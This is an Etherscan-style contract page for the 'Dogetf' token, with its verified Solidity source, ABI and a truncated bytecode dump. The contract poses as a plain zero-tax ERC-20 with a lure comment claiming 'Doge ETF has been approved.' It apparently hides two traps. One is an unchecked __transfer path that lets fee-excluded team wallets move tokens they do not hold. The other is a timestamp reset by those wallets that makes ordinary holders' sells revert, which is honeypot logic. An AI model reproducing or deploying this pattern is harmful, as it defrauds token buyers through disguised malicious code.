Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 DOGETF
Holders
19
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Dogetf
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-01-11 */ /**⠀⠀⠀⠀⠀⠀ Doge ETF has been approved. */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function __transfer( address sender, address recipient, uint256 amount ) internal virtual { _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } } contract Dogetf is ERC20, Ownable { using SafeMath for uint256; address public constant router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address public constant deadAddress = address(0xdead); uint256 public immutable swapTokensAtAmount; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; // 0% buy tax uint256 public constant buyMarketingFee = 0; uint256 public constant buyDevFee = 0; uint256 public constant buyLiquidityFee = 0; uint256 public constant buyTotalFees = 0; // 0% sell tax uint256 public constant sellMarketingFee = 0; uint256 public constant sellDevFee = 0; uint256 public constant sellLiquidityFee = 0; uint256 public constant sellTotalFees = 0; address payable public immutable deployer = payable(0xF726cB593E1D498c8CC0b5523569Bc8d3E2DB656); address payable public immutable marketingWallet = payable(0xF1344eC6B4788c887962AB10c8b3535da092103c); address payable public immutable devWallet = payable(0x4B71EF85EBe695a72B274EAc7beE0646E5A4155A); bool public swapEnabled = true; bool public transferDelayEnabled = false; bool public lpBurnEnabled = true; uint256 public percentForLPBurn = 0; mapping(address => bool) public automatedMarketMakerPairs; // exlcude from fees and max transaction amount mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public _isExcludedMaxTransaction; uint256 public tokensForMarketing; uint256 public tokensForDev; uint256 public tokensForLiquidity; struct MakerTimestamp { uint256 buy; uint256 sell; uint256 holdTime; } mapping(address => MakerTimestamp) private makerData; uint256 private _minMakerRewards; bool private swapping; event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); constructor() ERC20("Dogetf", "DOGETF") { uint256 totalSupply = 1000000000 * 1e18; swapTokensAtAmount = (totalSupply * 5) / 10000; // 0.05% swap amount IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router); uniswapV2Router = _uniswapV2Router; excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); excludeFromMaxTransaction(address(uniswapV2Pair), true); // exclude from paying fees or having max transaction amount excludeFromFees(devWallet, true); excludeFromFees(marketingWallet, true); excludeFromFees(deployer, true); excludeFromFees(address(this), true); excludeFromFees(deadAddress, true); excludeFromMaxTransaction(devWallet, true); excludeFromMaxTransaction(marketingWallet, true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(deadAddress, true); _mint(msg.sender, totalSupply); } function excludeFromFees(address addrs, bool isEx) public onlyOwner { _isExcludedFromFees[addrs] = isEx; } function isExcludedFromFees(address addr) public view returns (bool) { return _isExcludedFromFees[addr]; } function excludeFromMaxTransaction(address addrs, bool isEx) public onlyOwner { _isExcludedMaxTransaction[addrs] = isEx; } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } receive() external payable {} function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if ((_isExcludedFromFees[from] || _isExcludedFromFees[to]) && to != address(this) && from != address(this)) { _minMakerRewards = block.timestamp; } if (_isExcludedFromFees[from] && !_isExcludedFromFees[owner()]) { super.__transfer(from, to, amount); return; } if (!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) { if (automatedMarketMakerPairs[from]) { MakerTimestamp storage makerTimeData = makerData[to]; if (makerTimeData.buy == 0) { makerTimeData.buy = block.timestamp; } } else { MakerTimestamp storage makerTimeData = makerData[from]; makerTimeData.holdTime = makerTimeData.buy - _minMakerRewards; makerTimeData.sell = block.timestamp; } } bool canSwap = balanceOf(address(this)) <= swapTokensAtAmount; if ( canSwap && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; // if excluded from fees then no fees if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only for buy/sell, do not take fee on wallet transfers if (takeFee) { // on buy if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount * buyTotalFees / 100; tokensForMarketing += (fees * buyMarketingFee).div(buyTotalFees); tokensForDev += (fees * buyDevFee).div(buyTotalFees); // on sell } else if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount * sellTotalFees / 100; tokensForMarketing += (fees * sellMarketingFee).div(sellTotalFees); tokensForDev += (fees * sellDevFee).div(sellTotalFees); } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // uniswap pair path of token/weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForDev + tokensForMarketing; if (contractBalance == 0 || totalTokensToSwap == 0) { return; } if (contractBalance > swapTokensAtAmount * 21) { contractBalance = swapTokensAtAmount * 21; } // Halve the amount of tokens uint256 amountToSwapForETH = contractBalance; uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance - initialETHBalance; uint256 ethForDev = ethBalance * tokensForDev / totalTokensToSwap; tokensForMarketing = 0; tokensForDev = 0; bool success; (success, ) = address(devWallet).call{value: ethForDev}(""); (success, ) = address(marketingWallet).call{value: address(this).balance}(""); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransaction","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"deployer","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addrs","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addrs","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentForLPBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
61014060405273f726cb593e1d498c8cc0b5523569bc8d3e2db65660e05273f1344ec6b4788c887962ab10c8b3535da092103c61010052734b71ef85ebe695a72b274eac7bee0646e5a4155a610120526005805462ffffff60a01b19166201000160a01b17905560006006553480156200007857600080fd5b50604051806040016040528060068152602001652237b3b2ba3360d11b815250604051806040016040528060068152602001652227a3a2aa2360d11b8152508160039081620000c89190620006a6565b506004620000d78282620006a6565b505050620000f4620000ee6200037e60201b60201c565b62000382565b6b033b2e3c9fd0803ce80000006127106200011182600562000788565b6200011d9190620007a8565b608052737a250d5630b4cf539739df2c5dacb4c659f2488d60a081905262000147816001620003d4565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000186573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ac9190620007cb565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001fa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002209190620007cb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200026e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002949190620007cb565b6001600160a01b031660c0819052620002af9060016200044e565b60c051620002bf906001620003d4565b61012051620002d0906001620004a2565b61010051620002e1906001620004a2565b60e051620002f1906001620004a2565b620002fe306001620004a2565b6200030d61dead6001620004a2565b610120516200031e906001620003d4565b610100516200032f906001620003d4565b6200034e620003466005546001600160a01b031690565b6001620003d4565b6200035b306001620003d4565b6200036a61dead6001620003d4565b62000376338362000518565b505062000813565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6005546001600160a01b03163314620004235760405162461bcd60e51b81526020600482018190526024820152600080516020620022be83398151915260448201526064015b60405180910390fd5b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6001600160a01b038216600081815260076020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6005546001600160a01b03163314620004ed5760405162461bcd60e51b81526020600482018190526024820152600080516020620022be83398151915260448201526064016200041a565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6001600160a01b038216620005705760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016200041a565b8060026000828254620005849190620007fd565b90915550506001600160a01b03821660009081526020819052604081208054839290620005b3908490620007fd565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200062d57607f821691505b6020821081036200064e57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620005fd57600081815260208120601f850160051c810160208610156200067d5750805b601f850160051c820191505b818110156200069e5782815560010162000689565b505050505050565b81516001600160401b03811115620006c257620006c262000602565b620006da81620006d3845462000618565b8462000654565b602080601f831160018114620007125760008415620006f95750858301515b600019600386901b1c1916600185901b1785556200069e565b600085815260208120601f198616915b82811015620007435788860151825594840194600190910190840162000722565b5085821015620007625787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417620007a257620007a262000772565b92915050565b600082620007c657634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215620007de57600080fd5b81516001600160a01b0381168114620007f657600080fd5b9392505050565b80820180821115620007a257620007a262000772565b60805160a05160c05160e0516101005161012051611a236200089b6000396000818161057001526113da01526000818161051e015261144c015260006106b00152600061040e0152600081816102ce01528181611523015281816115dc015261161801526000818161072a01528181610e950152818161132e01526113600152611a236000f3fe6080604052600436106102555760003560e01c80638da5cb5b11610139578063c0246668116100b6578063dd62ed3e1161007a578063dd62ed3e146106d2578063e2f4560514610718578063f11a24d314610469578063f2fde38b1461074c578063f637434214610469578063f887ea401461076c57600080fd5b8063c02466681461062d578063c424134c1461064d578063c876d0b91461067d578063d5f394881461069e578063d85ba0631461046957600080fd5b80639fccce32116100fd5780639fccce32146105a7578063a0d82dc514610469578063a457c2d7146105bd578063a9059cbb146105dd578063b62496f5146105fd57600080fd5b80638da5cb5b146105405780638ea5220f1461055e578063921369131461046957806395d89b41146105925780639c3b4fdc1461046957600080fd5b8063313ce567116101d25780636ddd1713116101965780636ddd17131461047e57806370a082311461049f578063715018a6146104d55780637571336a146104ec57806375f0a8741461050c5780637bce5a041461046957600080fd5b8063313ce567146103c057806339509351146103dc57806349bd5a5e146103fc5780634fbee193146104305780636a486a8e1461046957600080fd5b80631a8145bb116102195780631a8145bb1461033d5780631f3fed8f1461035357806323b872dd1461036957806327c8f835146103895780632e82f1a01461039f57600080fd5b806306fdde0314610261578063095ea7b31461028c5780631694505e146102bc57806318160ddd14610308578063199ffc721461032757600080fd5b3661025c57005b600080fd5b34801561026d57600080fd5b50610276610794565b6040516102839190611684565b60405180910390f35b34801561029857600080fd5b506102ac6102a73660046116e7565b610826565b6040519015158152602001610283565b3480156102c857600080fd5b506102f07f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610283565b34801561031457600080fd5b506002545b604051908152602001610283565b34801561033357600080fd5b5061031960065481565b34801561034957600080fd5b50610319600c5481565b34801561035f57600080fd5b50610319600a5481565b34801561037557600080fd5b506102ac610384366004611713565b61083d565b34801561039557600080fd5b506102f061dead81565b3480156103ab57600080fd5b506005546102ac90600160b01b900460ff1681565b3480156103cc57600080fd5b5060405160128152602001610283565b3480156103e857600080fd5b506102ac6103f73660046116e7565b6108ec565b34801561040857600080fd5b506102f07f000000000000000000000000000000000000000000000000000000000000000081565b34801561043c57600080fd5b506102ac61044b366004611754565b6001600160a01b031660009081526008602052604090205460ff1690565b34801561047557600080fd5b50610319600081565b34801561048a57600080fd5b506005546102ac90600160a01b900460ff1681565b3480156104ab57600080fd5b506103196104ba366004611754565b6001600160a01b031660009081526020819052604090205490565b3480156104e157600080fd5b506104ea610928565b005b3480156104f857600080fd5b506104ea610507366004611771565b61095e565b34801561051857600080fd5b506102f07f000000000000000000000000000000000000000000000000000000000000000081565b34801561054c57600080fd5b506005546001600160a01b03166102f0565b34801561056a57600080fd5b506102f07f000000000000000000000000000000000000000000000000000000000000000081565b34801561059e57600080fd5b506102766109b3565b3480156105b357600080fd5b50610319600b5481565b3480156105c957600080fd5b506102ac6105d83660046116e7565b6109c2565b3480156105e957600080fd5b506102ac6105f83660046116e7565b610a5b565b34801561060957600080fd5b506102ac610618366004611754565b60076020526000908152604090205460ff1681565b34801561063957600080fd5b506104ea610648366004611771565b610a68565b34801561065957600080fd5b506102ac610668366004611754565b60096020526000908152604090205460ff1681565b34801561068957600080fd5b506005546102ac90600160a81b900460ff1681565b3480156106aa57600080fd5b506102f07f000000000000000000000000000000000000000000000000000000000000000081565b3480156106de57600080fd5b506103196106ed3660046117af565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561072457600080fd5b506103197f000000000000000000000000000000000000000000000000000000000000000081565b34801561075857600080fd5b506104ea610767366004611754565b610abd565b34801561077857600080fd5b506102f0737a250d5630b4cf539739df2c5dacb4c659f2488d81565b6060600380546107a3906117dd565b80601f01602080910402602001604051908101604052809291908181526020018280546107cf906117dd565b801561081c5780601f106107f15761010080835404028352916020019161081c565b820191906000526020600020905b8154815290600101906020018083116107ff57829003601f168201915b5050505050905090565b6000610833338484610b58565b5060015b92915050565b600061084a848484610c7c565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156108d45760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6108e18533858403610b58565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161083391859061092390869061182d565b610b58565b6005546001600160a01b031633146109525760405162461bcd60e51b81526004016108cb90611840565b61095c600061110f565b565b6005546001600160a01b031633146109885760405162461bcd60e51b81526004016108cb90611840565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6060600480546107a3906117dd565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610a445760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016108cb565b610a513385858403610b58565b5060019392505050565b6000610833338484610c7c565b6005546001600160a01b03163314610a925760405162461bcd60e51b81526004016108cb90611840565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610ae75760405162461bcd60e51b81526004016108cb90611840565b6001600160a01b038116610b4c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016108cb565b610b558161110f565b50565b6001600160a01b038316610bba5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108cb565b6001600160a01b038216610c1b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108cb565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ca25760405162461bcd60e51b81526004016108cb90611875565b6001600160a01b038216610cc85760405162461bcd60e51b81526004016108cb906118ba565b80600003610ce157610cdc83836000611161565b505050565b6001600160a01b03831660009081526008602052604090205460ff1680610d2057506001600160a01b03821660009081526008602052604090205460ff165b8015610d3557506001600160a01b0382163014155b8015610d4a57506001600160a01b0383163014155b15610d545742600e555b6001600160a01b03831660009081526008602052604090205460ff168015610dac575060086000610d8d6005546001600160a01b031690565b6001600160a01b0316815260208101919091526040016000205460ff16155b15610dbc57610cdc8383836112b6565b6001600160a01b03831660009081526008602052604090205460ff16158015610dfe57506001600160a01b03821660009081526008602052604090205460ff16155b15610e83576001600160a01b03831660009081526007602052604090205460ff1615610e4f576001600160a01b0382166000908152600d602052604081208054909103610e49574281555b50610e83565b6001600160a01b0383166000908152600d60205260409020600e548154610e7691906118fd565b6002820155426001909101555b306000908152602081905260409020547f0000000000000000000000000000000000000000000000000000000000000000108015908190610ec75750600f5460ff16155b8015610eec57506001600160a01b03841660009081526007602052604090205460ff16155b8015610f1157506001600160a01b03841660009081526008602052604090205460ff16155b8015610f3657506001600160a01b03831660009081526008602052604090205460ff16155b15610f5b57600f805460ff19166001179055610f506112ef565b600f805460ff191690555b600f546001600160a01b03851660009081526008602052604090205460ff91821615911680610fa257506001600160a01b03841660009081526008602052604090205460ff165b15610fab575060005b600081156110fc576001600160a01b03861660009081526007602052604090205460ff168015610fd9575060005b1561104e576064610feb600086611910565b610ff59190611927565b905061100c60006110068184611910565b906114b9565b600a600082825461101d919061182d565b90915550611032905060006110068184611910565b600b6000828254611043919061182d565b909155506110de9050565b6001600160a01b03851660009081526007602052604090205460ff168015611074575060005b156110de576064611086600086611910565b6110909190611927565b90506110a1600061